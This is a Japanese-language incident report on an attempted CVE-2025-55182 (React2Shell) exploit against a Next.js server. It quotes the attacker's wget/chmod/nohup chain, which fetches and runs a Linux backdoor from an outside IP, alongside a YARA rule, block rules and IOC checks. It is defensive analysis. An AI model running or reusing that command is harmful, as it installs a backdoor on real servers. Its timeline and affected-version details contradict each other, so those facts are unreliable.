CVE-2025-55182 攻撃分析: React Server Components RCE
本番環境のNext.jsアプリケーションに対する実際の攻撃分析
📋 目次
エグゼクティブサマリー
2025年12月5日、本番環境のNext.jsアプリケーションが、React Server Componentsにおける重大なリモートコード実行脆弱性 CVE-2025-55182 (React2Shell) を悪用する攻撃者に標的にされました。この攻撃は、サーバー上でLinuxバックドアトロイの木馬をダウンロードし実行しようと試みました。
| 属性 | 値 |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS スコア | 9.8 (Critical) |
| 攻撃日 | 2025年12月5日 |
| 攻撃結果 | ✅ ブロック済み (パッチ後) |
| マルウェアタイプ | Linux バックドアトロイの木馬 |
| 影響を受けたスタック | Next.js + React Server Components |
脆弱性概要
CVE-2025-55182 とは?
CVE-2025-55182 (通称 "React2Shell") は、React Server Components (RSC) に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。影響を受けるバージョン:
- React: バージョン 19.0.0 - 19.2.1
- Next.js: バージョン 15.x および 16.x (パッチ適用前)
根本原因
この脆弱性は、ReactのFlight Server内の renderToReadableStream() 関数に存在します。特別に細工されたRSCペイロードを処理する際、サーバーが特定の入力を適切にサニタイズできず、任意のコード実行に至ります。
攻撃ベクトル
攻撃者 → 悪意のあるRSCペイロード → Flight Server → eval() → RCE
攻撃者は、悪意のあるシリアル化されたペイロードを含む細工されたPOSTリクエストを送信し、それがサーバー上でデシリアライズされて実行されます。
攻撃タイムライン
フェーズ1: 初期の悪用試行 (パッチ前)
| タイムスタンプ (UTC) | イベント |
|---|
| Dec 5, 06:20 | Sentry 経由で最初の攻撃を検出 |
| Dec 5, 06:20 | ペイロードがシェルコマンドの実行を試行 |
| Dec 5, 06:20 | 攻撃が部分的に成功 (パッチ前) |
Sentry エラーログ (パッチ前):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
フェーズ2: パッチの展開
| タイムスタンプ | アクション |
|---|
| Dec 4, 14:13 | Next.js 16.0.7 にアップグレード |
| Dec 4, 14:13 | パッチ適用バージョン (v1.0.0-beta-4) をデプロイ |
フェーズ3: パッチ後の攻撃ブロック
| タイムスタンプ (UTC) | イベント |
|---|
| Dec 5, 08:48 | 攻撃試行を検出 |
| Dec 5, 08:48 | ペイロード実行をブロック |
| Dec 5, 08:48 | エラー: syntax error: unexpected ";" |
Sentry エラーログ (パッチ後):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
パッチにより悪意のあるコマンドの実行が正常に防止されました。
技術的分析
攻撃リクエスト詳細
| 属性 | 値 |
|---|
| ターゲットURL | https://[REDACTED]/ |
|
ペイロード分析
攻撃者は以下のコマンドチェーンの実行を試みました:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
内訳:
サーバー環境
| コンポーネント | バージョン |
|---|
| OS | Alpine Linux 3.23.0 |
| ランタイム | Node.js v20.19.6 |
| フレームワーク | Next.js 16.0.7 (パッチ適用済み) |
|
マルウェア分析
ファイル情報
VirusTotal 結果
検出率: 13/72 (18%)
VirusTotal リンク: 分析を表示
バイナリ分析
ELF ヘッダ:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
特定された機能:
抽出された文字列 (関連):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
トリガーされたIDSルール
| 深刻度 | ルール | ソース |
|---|
| LOW | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| LOW | ET DNS Query for .cc TLD | Proofpoint ET Open |
マルウェア分類
タイプ: Linux バックドアトロイの木馬
機能:
- リモートシェルアクセス
- コマンド&コントロール (C2) 通信
- ファイルのアップロード/ダウンロード
- 暗号化通信
- SOCKS5 によるトラフィックトンネリング
- 永続化メカニズム
侵害指標 (IOCs)
ネットワークIOC
ファイルIOC
行動IOC
YARA ルール
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
緩和策と対応
実行された即時アクション
不正利用報告
2025年12月5日付で、C2サーバーのホスティングプロバイダーであるVultrに対して不正利用報告を提出しました。内容は以下の通り:
- 悪意のあるIPアドレスとURL
- マルウェアのSHA256ハッシュ
- VirusTotal分析リンク
- 攻撃ベクトル (CVE-2025-55182) の説明
パッチ適用済みバージョン
| パッケージ | 脆弱性あり | パッチ済み |
|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1 (2025年6月以降) |
推奨される緩和策
1. 直ちにアップグレード:
2. 悪意のあるIPをブロック:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. IOC を監視:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. すべてのシークレットをローテーション:
- データベース認証情報
- JWT シークレット
- API キー
- セッションシークレット
学んだ教訓
良かった点
- Sentry 監視 で攻撃を即座に検出
- CVE 公開から数時間以内に 迅速なパッチ展開
- Docker コンテナ化 により影響範囲を限定
- パッチ後 の保護で後続の攻撃を正常にブロック
改善すべき点
- より迅速なパッチ適用 - CVE公開からパッチまでの時間を短縮
- WAF ルール - RSC 悪用試行を検出するためのルール追加
- 出力フィルタリング - 未知のIPへのアウトバウンド接続をブロック
- 自動アラート - 不審なシェルコマンドに対するアラート設定
セキュリティ推奨事項
参考文献
公式アドバイザリ
分析リソース
使用ツール
免責事項
このレポートは 教育および防御目的 でのみ公開されています。マルウェアバイナリはこのリポジトリには含まれていません。セキュリティ研究者は、提供されたSHA256ハッシュを使用してVirusTotalからサンプルを入手できます。
著者
公開: 2025年12月5日
連絡先: [あなたの連絡先情報またはGitHubプロフィール]
ライセンス
この分析は CC BY 4.0 の下で公開されています。適切な帰属表示を行えば、この資料を自由に共有および改変できます。
変更履歴
| 日付 | バージョン | 変更内容 |
|---|
| 2025-12-05 | 1.0 | 初版公開 |